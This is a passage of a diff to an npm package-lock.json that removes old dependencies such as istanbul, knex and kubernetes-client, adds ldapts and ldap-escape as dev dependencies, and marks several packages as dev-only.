-17418,6 +14408,7 @@ + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-relative/-/is-relative-1.0.0.tgz", + "integrity": "sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==", ++ "dev": true, + "dependencies": { + "is-unc-path": "^1.0.0" + }, +@@ -17497,6 +14488,7 @@ + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-unc-path/-/is-unc-path-1.0.0.tgz", + "integrity": "sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==", ++ "dev": true, + "dependencies": { + "unc-path-regex": "^0.1.2" + }, +@@ -17531,11 +14523,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/is-valid-hostname": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/is-valid-hostname/-/is-valid-hostname-1.0.2.tgz", +- "integrity": "sha512-X/kiF3Xndj6WI7l/yLyzR7V1IbQd6L4S4cewSL0fRciemPmHbaXIKR2qtf+zseH+lbMG0vFp4HvCUe7amGZVhw==" +- }, + "node_modules/is-weakref": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz", +@@ -17557,6 +14544,7 @@ + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz", + "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA==", ++ "dev": true, + "engines": { + "node": ">=0.10.0" + } +@@ -17589,17 +14577,6 @@ + "url": "https://github.com/sponsors/gjtorikian/" + } + }, +- "node_modules/isemail": { +- "version": "3.2.0", +- "resolved": "https://registry.npmjs.org/isemail/-/isemail-3.2.0.tgz", +- "integrity": "sha512-zKqkK+O+dGqevc93KNsbZ/TqTUFd46MwWjYOoMrjIMZ51eU7DtQG3Wmd9SQQT7i7RVnuTPEiYEWHU3MSbxC1Tg==", +- "dependencies": { +- "punycode": "2.x.x" +- }, +- "engines": { +- "node": ">=4.0.0" +- } +- }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", +@@ -17609,6 +14586,7 @@ + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", ++ "dev": true, + "engines": { + "node": ">=0.10.0" + } +@@ -17622,45 +14600,11 @@ + "unfetch": "^4.2.0" + } + }, +- "node_modules/isomorphic-ws": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/isomorphic-ws/-/isomorphic-ws-4.0.1.tgz", +- "integrity": "sha512-BhBvN2MBpWTaSHdWRb/bwdZJ1WaehQ2L1KngkCkfLUGF0mAWAT1sQUQacEmQ0jXkFw/czDXPNQSL5u2/Krsz1w==", +- "peerDependencies": { +- "ws": "*" +- } +- }, + "node_modules/isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=" + }, +- "node_modules/istanbul": { +- "version": "0.4.5", +- "resolved": "https://registry.npmjs.org/istanbul/-/istanbul-0.4.5.tgz", +- "integrity": "sha1-ZcfXPUxNqE1POsMQuRj7C4Azczs=", +- "deprecated": "This module is no longer maintained, try this instead:\n npm i nyc\nVisit https://istanbul.js.org/integrations for other alternatives.", +- "dev": true, +- "dependencies": { +- "abbrev": "1.0.x", +- "async": "1.x", +- "escodegen": "1.8.x", +- "esprima": "2.7.x", +- "glob": "^5.0.15", +- "handlebars": "^4.0.1", +- "js-yaml": "3.x", +- "mkdirp": "0.5.x", +- "nopt": "3.x", +- "once": "1.x", +- "resolve": "1.1.x", +- "supports-color": "^3.1.0", +- "which": "^1.1.1", +- "wordwrap": "^1.0.0" +- }, +- "bin": { +- "istanbul": "lib/cli.js" +- } +- }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz", +@@ -17834,177 +14778,6 @@ + "node": ">=8" + } + }, +- "node_modules/istanbul/node_modules/abbrev": { +- "version": "1.0.9", +- "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.0.9.tgz", +- "integrity": "sha1-kbR5JYinc4wl813W9jdSovh3YTU=", +- "dev": true +- }, +- "node_modules/istanbul/node_modules/argparse": { +- "version": "1.0.10", +- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", +- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", +- "dev": true, +- "dependencies": { +- "sprintf-js": "~1.0.2" +- } +- }, +- "node_modules/istanbul/node_modules/async": { +- "version": "1.5.2", +- "resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz", +- "integrity": "sha1-7GphrlZIDAw8skHJVhjiCJL5Zyo=", +- "dev": true +- }, +- "node_modules/istanbul/node_modules/escodegen": { +- "version": "1.8.1", +- "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-1.8.1.tgz", +- "integrity": "sha1-WltTr0aTEQvrsIZ6o0MN07cKEBg=", +- "dev": true, +- "dependencies": { +- "esprima": "^2.7.1", +- "estraverse": "^1.9.1", +- "esutils": "^2.0.2", +- "optionator": "^0.8.1" +- }, +- "bin": { +- "escodegen": "bin/escodegen.js", +- "esgenerate": "bin/esgenerate.js" +- }, +- "engines": { +- "node": ">=0.12.0" +- }, +- "optionalDependencies": { +- "source-map": "~0.2.0" +- } +- }, +- "node_modules/istanbul/node_modules/esprima": { +- "version": "2.7.3", +- "resolved": "https://registry.npmjs.org/esprima/-/esprima-2.7.3.tgz", +- "integrity": "sha1-luO3DVd59q1JzQMmc9HDEnZ7pYE=", +- "dev": true, +- "bin": { +- "esparse": "bin/esparse.js", +- "esvalidate": "bin/esvalidate.js" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/istanbul/node_modules/estraverse": { +- "version": "1.9.3", +- "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-1.9.3.tgz", +- "integrity": "sha1-r2fy3JIlgkFZUJJgkaQAXSnJu0Q=", +- "dev": true, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/istanbul/node_modules/glob": { +- "version": "5.0.15", +- "resolved": "https://registry.npmjs.org/glob/-/glob-5.0.15.tgz", +- "integrity": "sha1-G8k2ueAvSmA/zCIuz3Yz0wuLk7E=", +- "dev": true, +- "dependencies": { +- "inflight": "^1.0.4", +- "inherits": "2", +- "minimatch": "2 || 3", +- "once": "^1.3.0", +- "path-is-absolute": "^1.0.0" +- }, +- "engines": { +- "node": "*" +- } +- }, +- "node_modules/istanbul/node_modules/has-flag": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-1.0.0.tgz", +- "integrity": "sha1-nZ55MWXOAXoA8AQYxD+UKnsdEfo=", +- "dev": true, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/istanbul/node_modules/js-yaml": { +- "version": "3.14.1", +- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", +- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", +- "dev": true, +- "dependencies": { +- "argparse": "^1.0.7", +- "esprima": "^4.0.0" +- }, +- "bin": { +- "js-yaml": "bin/js-yaml.js" +- } +- }, +- "node_modules/istanbul/node_modules/js-yaml/node_modules/esprima": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", +- "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", +- "dev": true, +- "bin": { +- "esparse": "bin/esparse.js", +- "esvalidate": "bin/esvalidate.js" +- }, +- "engines": { +- "node": ">=4" +- } +- }, +- "node_modules/istanbul/node_modules/nopt": { +- "version": "3.0.6", +- "resolved": "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz", +- "integrity": "sha1-xkZdvwirzU2zWTF/eaxopkayj/k=", +- "dev": true, +- "dependencies": { +- "abbrev": "1" +- }, +- "bin": { +- "nopt": "bin/nopt.js" +- } +- }, +- "node_modules/istanbul/node_modules/resolve": { +- "version": "1.1.7", +- "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.1.7.tgz", +- "integrity": "sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=", +- "dev": true +- }, +- "node_modules/istanbul/node_modules/source-map": { +- "version": "0.2.0", +- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.2.0.tgz", +- "integrity": "sha1-2rc/vPwrqBm03gO9b26qSBZLP50=", +- "dev": true, +- "optional": true, +- "dependencies": { +- "amdefine": ">=0.0.4" +- }, +- "engines": { +- "node": ">=0.8.0" +- } +- }, +- "node_modules/istanbul/node_modules/supports-color": { +- "version": "3.2.3", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.2.3.tgz", +- "integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=", +- "dev": true, +- "dependencies": { +- "has-flag": "^1.0.0" +- }, +- "engines": { +- "node": ">=0.8.0" +- } +- }, +- "node_modules/istanbul/node_modules/which": { +- "version": "1.3.1", +- "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", +- "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", +- "dev": true, +- "dependencies": { +- "isexe": "^2.0.0" +- }, +- "bin": { +- "which": "bin/which" +- } +- }, + "node_modules/jest-worker": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.5.1.tgz", +@@ -18056,26 +14829,6 @@ + "resolved": "https://registry.npmjs.org/jquery/-/jquery-2.2.4.tgz", + "integrity": "sha1-LInWiJterFIqfuoywUUhVZxsvwI=" + }, +- "node_modules/js-beautify": { +- "version": "1.14.0", +- "resolved": "https://registry.npmjs.org/js-beautify/-/js-beautify-1.14.0.tgz", +- "integrity": "sha512-yuck9KirNSCAwyNJbqW+BxJqJ0NLJ4PwBUzQQACl5O3qHMBXVkXb/rD0ilh/Lat/tn88zSZ+CAHOlk0DsY7GuQ==", +- "dev": true, +- "dependencies": { +- "config-chain": "^1.1.12", +- "editorconfig": "^0.15.3", +- "glob": "^7.1.3", +- "nopt": "^5.0.0" +- }, +- "bin": { +- "css-beautify": "js/bin/css-beautify.js", +- "html-beautify": "js/bin/html-beautify.js", +- "js-beautify": "js/bin/js-beautify.js" +- }, +- "engines": { +- "node": ">=10" +- } +- }, + "node_modules/js-stringify": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/js-stringify/-/js-stringify-1.0.2.tgz", +@@ -18090,6 +14843,7 @@ + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", ++ "dev": true, + "dependencies": { + "argparse": "^2.0.1" + }, +@@ -18367,11 +15121,6 @@ + "bignumber.js": "^9.0.0" + } + }, +- "node_modules/json-buffer": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz", +- "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=" +- }, + "node_modules/json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", +@@ -18383,55 +15132,6 @@ + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", + "dev": true + }, +- "node_modules/json-refs": { +- "version": "3.0.15", +- "resolved": "https://registry.npmjs.org/json-refs/-/json-refs-3.0.15.tgz", +- "integrity": "sha512-0vOQd9eLNBL18EGl5yYaO44GhixmImes2wiYn9Z3sag3QnehWrYWlB9AFtMxCL2Bj3fyxgDYkxGFEU/chlYssw==", +- "dependencies": { +- "commander": "~4.1.1", +- "graphlib": "^2.1.8", +- "js-yaml": "^3.13.1", +- "lodash": "^4.17.15", +- "native-promise-only": "^0.8.1", +- "path-loader": "^1.0.10", +- "slash": "^3.0.0", +- "uri-js": "^4.2.2" +- }, +- "bin": { +- "json-refs": "bin/json-refs" +- }, +- "engines": { +- "node": ">=0.8" +- } +- }, +- "node_modules/json-refs/node_modules/argparse": { +- "version": "1.0.10", +- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", +- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", +- "dependencies": { +- "sprintf-js": "~1.0.2" +- } +- }, +- "node_modules/json-refs/node_modules/js-yaml": { +- "version": "3.14.1", +- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", +- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", +- "dependencies": { +- "argparse": "^1.0.7", +- "esprima": "^4.0.0" +- }, +- "bin": { +- "js-yaml": "bin/js-yaml.js" +- } +- }, +- "node_modules/json-refs/node_modules/slash": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", +- "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", +- "engines": { +- "node": ">=8" +- } +- }, + "node_modules/json-schema": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz", +@@ -18448,11 +15148,6 @@ + "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", + "dev": true + }, +- "node_modules/json-stream": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/json-stream/-/json-stream-1.0.0.tgz", +- "integrity": "sha1-GjhU4o0rvuqzHMfd9oPS3cVlJwg=" +- }, + "node_modules/json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", +@@ -18514,14 +15209,6 @@ + "node >= 0.2.0" + ] + }, +- "node_modules/jsonpath-plus": { +- "version": "0.19.0", +- "resolved": "https://registry.npmjs.org/jsonpath-plus/-/jsonpath-plus-0.19.0.tgz", +- "integrity": "sha512-GSVwsrzW9LsA5lzsqe4CkuZ9wp+kxBb2GwNniaWzI2YFn5Ig42rSW8ZxVpWXaAfakXNrx5pgY5AbQq7kzX29kg==", +- "engines": { +- "node": ">=6.0" +- } +- }, + "node_modules/JSONStream": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.5.tgz", +@@ -18896,18 +15583,11 @@ + "resolved": "https://registry.npmjs.org/keycode/-/keycode-2.2.1.tgz", + "integrity": "sha512-Rdgz9Hl9Iv4QKi8b0OlCRQEzp4AgVxyCtz5S/+VIHezDmrDhkp2N2TqBWOLz0/gbeREXOOiI9/4b8BY9uw2vFg==" + }, +- "node_modules/keyv": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz", +- "integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==", +- "dependencies": { +- "json-buffer": "3.0.0" +- } +- }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", ++ "dev": true, + "engines": { + "node": ">=0.10.0" + } +@@ -18938,188 +15618,6 @@ + "node": ">= 8" + } + }, +- "node_modules/knex": { +- "version": "0.21.21", +- "resolved": "https://registry.npmjs.org/knex/-/knex-0.21.21.tgz", +- "integrity": "sha512-cjw5qO1EzVKjbywcVa61IQJMLt7PfYBRI/2NwCA/B9beXgbw652wDNLz+JM+UKKNsfwprq0ugYqBYc9q4JN36A==", +- "dependencies": { +- "colorette": "1.2.1", +- "commander": "^6.2.0", +- "debug": "4.3.1", +- "esm": "^3.2.25", +- "getopts": "2.2.5", +- "interpret": "^2.2.0", +- "liftoff": "3.1.0", +- "lodash": "^4.17.20", +- "pg-connection-string": "2.4.0", +- "tarn": "^3.0.1", +- "tildify": "2.0.0", +- "v8flags": "^3.2.0" +- }, +- "bin": { +- "knex": "bin/cli.js" +- }, +- "engines": { +- "node": ">=10" +- }, +- "peerDependencies": { +- "mssql": "^6.2.1", +- "mysql": "^2.18.1", +- "mysql2": "^2.1.0", +- "pg": "^8.3.0", +- "sqlite3": "^5.0.0" +- }, +- "peerDependenciesMeta": { +- "mssql": { +- "optional": true +- }, +- "mysql": { +- "optional": true +- }, +- "mysql2": { +- "optional": true +- }, +- "pg": { +- "optional": true +- }, +- "sqlite3": { +- "optional": true +- } +- } +- }, +- "node_modules/knex/node_modules/commander": { +- "version": "6.2.1", +- "resolved": "https://registry.npmjs.org/commander/-/commander-6.2.1.tgz", +- "integrity": "sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA==", +- "engines": { +- "node": ">= 6" +- } +- }, +- "node_modules/knex/node_modules/debug": { +- "version": "4.3.1", +- "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", +- "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", +- "dependencies": { +- "ms": "2.1.2" +- }, +- "engines": { +- "node": ">=6.0" +- }, +- "peerDependenciesMeta": { +- "supports-color": { +- "optional": true +- } +- } +- }, +- "node_modules/knex/node_modules/ms": { +- "version": "2.1.2", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", +- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" +- }, +- "node_modules/knex/node_modules/pg-connection-string": { +- "version": "2.4.0", +- "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.4.0.tgz", +- "integrity": "sha512-3iBXuv7XKvxeMrIgym7njT+HlZkwZqqGX4Bu9cci8xHZNT+Um1gWKqCsAzcC0d95rcKMU5WBg6YRUcHyV0HZKQ==" +- }, +- "node_modules/knox": { +- "version": "0.9.2", +- "resolved": "https://registry.npmjs.org/knox/-/knox-0.9.2.tgz", +- "integrity": "sha1-NzZZNmniTwJP2vcjtqHcSv2DmnE=", +- "dependencies": { +- "debug": "^1.0.2", +- "mime": "*", +- "once": "^1.3.0", +- "stream-counter": "^1.0.0", +- "xml2js": "^0.4.4" +- }, +- "engines": { +- "node": ">= 0.8" +- } +- }, +- "node_modules/knox/node_modules/debug": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/debug/-/debug-1.0.5.tgz", +- "integrity": "sha1-9yQSF0MPmd7EwrRz6rkiKOh0wqw=", +- "dependencies": { +- "ms": "2.0.0" +- } +- }, +- "node_modules/knox/node_modules/ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- }, +- "node_modules/kubernetes-client": { +- "version": "8.3.7", +- "resolved": "https://registry.npmjs.org/kubernetes-client/-/kubernetes-client-8.3.7.tgz", +- "integrity": "sha512-A0rvfQAvwAuPTooBOSErpTcnwcQxhkmawjOm/gUdGDWCUZoYmAVgVGFnc/klda+X1tvHwleavDsLqmqaYscH2w==", +- "dependencies": { +- "@kubernetes/client-node": "0.10.2", +- "camelcase": "^6.0.0", +- "deepmerge": "^4.2.2", +- "depd": "^2.0.0", +- "js-yaml": "^3.13.1", +- "json-stream": "^1.0.0", +- "openid-client": "^3.14.0", +- "pump": "^3.0.0", +- "qs": "^6.9.0", +- "request": "^2.88.2", +- "swagger-fluent": "^5.0.1", +- "url-join": "^4.0.1", +- "ws": "^7.2.3" +- }, +- "engines": { +- "node": ">=10.13.0" +- } +- }, +- "node_modules/kubernetes-client/node_modules/argparse": { +- "version": "1.0.10", +- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", +- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", +- "dependencies": { +- "sprintf-js": "~1.0.2" +- } +- }, +- "node_modules/kubernetes-client/node_modules/depd": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", +- "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", +- "engines": { +- "node": ">= 0.8" +- } +- }, +- "node_modules/kubernetes-client/node_modules/js-yaml": { +- "version": "3.14.1", +- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", +- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", +- "dependencies": { +- "argparse": "^1.0.7", +- "esprima": "^4.0.0" +- }, +- "bin": { +- "js-yaml": "bin/js-yaml.js" +- } +- }, +- "node_modules/kubernetes-client/node_modules/ws": { +- "version": "7.5.6", +- "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.6.tgz", +- "integrity": "sha512-6GLgCqo2cy2A2rjCNFlxQS6ZljG/coZfZXclldI8FB/1G3CCI36Zd8xy2HrFVACi8tfk5XrgLQEk+P0Tnz9UcA==", +- "engines": { +- "node": ">=8.3.0" +- }, +- "peerDependencies": { +- "bufferutil": "^4.0.1", +- "utf-8-validate": "^5.0.2" +- }, +- "peerDependenciesMeta": { +- "bufferutil": { +- "optional": true +- }, +- "utf-8-validate": { +- "optional": true +- } +- } +- }, + "node_modules/language-subtag-registry": { + "version": "0.3.21", + "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.21.tgz", +@@ -19194,6 +15692,12 @@ + "safe-buffer": "~5.1.0" + } + }, ++ "node_modules/ldap-escape": { ++ "version": "2.0.6", ++ "resolved": "https://registry.npmjs.org/ldap-escape/-/ldap-escape-2.0.6.tgz", ++ "integrity": "sha512-M0mZojh0QIDSDkA0+M5Zopqz3Ku5DNs1/Q8VqWO5l3Pjx1J2p71c9WksQIDQQKmd1XkV3N2NZFwcBFLJSm1l1w==", ++ "dev": true ++ }, + "node_modules/ldap-filter": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/ldap-filter/-/ldap-filter-0.2.2.tgz", +@@ -19362,6 +15866,65 @@ + "nopt": "bin/nopt.js" + } + }, ++ "node_modules/ldapts": { ++ "version": "3.2.4", ++ "resolved": "https://registry.npmjs.org/ldapts/-/ldapts-3.2.4.tgz", ++ "integrity": "sha512-33QJQglDdAdwOWMy7E8T4BQYizAAsH+jalAVg+9xUE4SQhenezRa2mSgH5s9jRfz0fxw3GP6f8GeqX0+tfqMeQ==", ++ "dev": true, ++ "dependencies": { ++ "@types/asn1": ">=0.2.0", ++ "@types/node": ">=12.13", ++ "@types/uuid": ">=8", ++ "asn1": "~0.2.6", ++ "debug": "~4.3.4", ++ "strict-event-emitter-types": "~2.0.0", ++ "uuid": "~8.3.2" ++ }, ++ "engines": { ++ "node": ">=12" ++ } ++ }, ++ "node_modules/ldapts/node_modules/asn1": { ++ "version": "0.2.6", ++ "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz", ++ "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==", ++ "dev": true, ++ "dependencies": { ++ "safer-buffer": "~2.1.0" ++ } ++ }, ++ "node_modules/ldapts/node_modules/debug": { ++ "version": "4.3.4", ++ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", ++ "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", ++ "dev": true, ++ "dependencies": { ++ "ms": "2.1.2" ++ }, ++ "engines": { ++ "node": ">=6.0" ++ }, ++ "peerDependenciesMeta": { ++ "supports-color": { ++ "optional": true ++ } ++ } ++ }, ++ "node_modules/ldapts/node_modules/ms": { ++ "version": "2.1.2", ++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", ++ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", ++ "dev": true ++ }, ++ "node_modules/ldapts/node_modules/uuid": { ++ "version": "8.3.2", ++ "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", ++ "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", ++ "dev": true, ++ "bin": { ++ "uuid": "dist/bin/uuid" ++ } ++ }, + "node_modules/lead": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lead/-/lead-1.0.0.tgz", +@@ -19534,24 +16097,6 @@ + "node": ">= 0.8.0" + } + }, +- "node_modules/liftoff": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/liftoff/-/liftoff-3.1.0.tgz", +- "integrity": "sha512-DlIPlJUkCV0Ips2zf2pJP0unEoT1kwYhiiPUGF3s/jtxTCjziNLoiVVh+jqWOWeFi6mmwQ5fNxvAUyPad4Dfog==", +- "dependencies": { +- "extend": "^3.0.0", +- "findup-sync": "^3.0.0", +- "fined": "^1.0.1", +- "flagged-respawn": "^1.0.0", +- "is-plain-object": "^2.0.4", +- "object.map": "^1.0.0", +- "rechoir": "^0.6.2", +- "resolve": "^1.1.7" +- }, +- "engines": { +- "node": ">= 0.8" +- } +- }, + "node_modules/lilconfig": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.5.tgz", +@@ -19561,11 +16106,6 @@ + "node": ">=10" + } + }, +- "node_modules/line-reader": { +- "version": "0.2.4", +- "resolved": "https://registry.npmjs.org/line-reader/-/line-reader-0.2.4.tgz", +- "integrity": "sha1-xDkrWH3qOFgMlnhXDm6OSfzlJiI=" +- }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", +@@ -19700,173 +16240,17 @@ + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", + "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==" + }, +- "node_modules/lodash._arraypool": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._arraypool/-/lodash._arraypool-2.4.1.tgz", +- "integrity": "sha1-6I7suS4ruEyQZWEv2VigcZzUf5Q=" +- }, +- "node_modules/lodash._basebind": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._basebind/-/lodash._basebind-2.4.1.tgz", +- "integrity": "sha1-6UC5690nwyfgqNqxtVkWxTQelXU=", +- "dependencies": { +- "lodash._basecreate": "~2.4.1", +- "lodash._setbinddata": "~2.4.1", +- "lodash._slice": "~2.4.1", +- "lodash.isobject": "~2.4.1" +- } +- }, +- "node_modules/lodash._baseclone": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._baseclone/-/lodash._baseclone-2.4.1.tgz", +- "integrity": "sha1-MPgj5X4X43NdODvWK2Czh1Q7QYY=", +- "dependencies": { +- "lodash._getarray": "~2.4.1", +- "lodash._releasearray": "~2.4.1", +- "lodash._slice": "~2.4.1", +- "lodash.assign": "~2.4.1", +- "lodash.foreach": "~2.4.1", +- "lodash.forown": "~2.4.1", +- "lodash.isarray": "~2.4.1", +- "lodash.isobject": "~2.4.1" +- } +- }, +- "node_modules/lodash._basecreate": { +- "version": 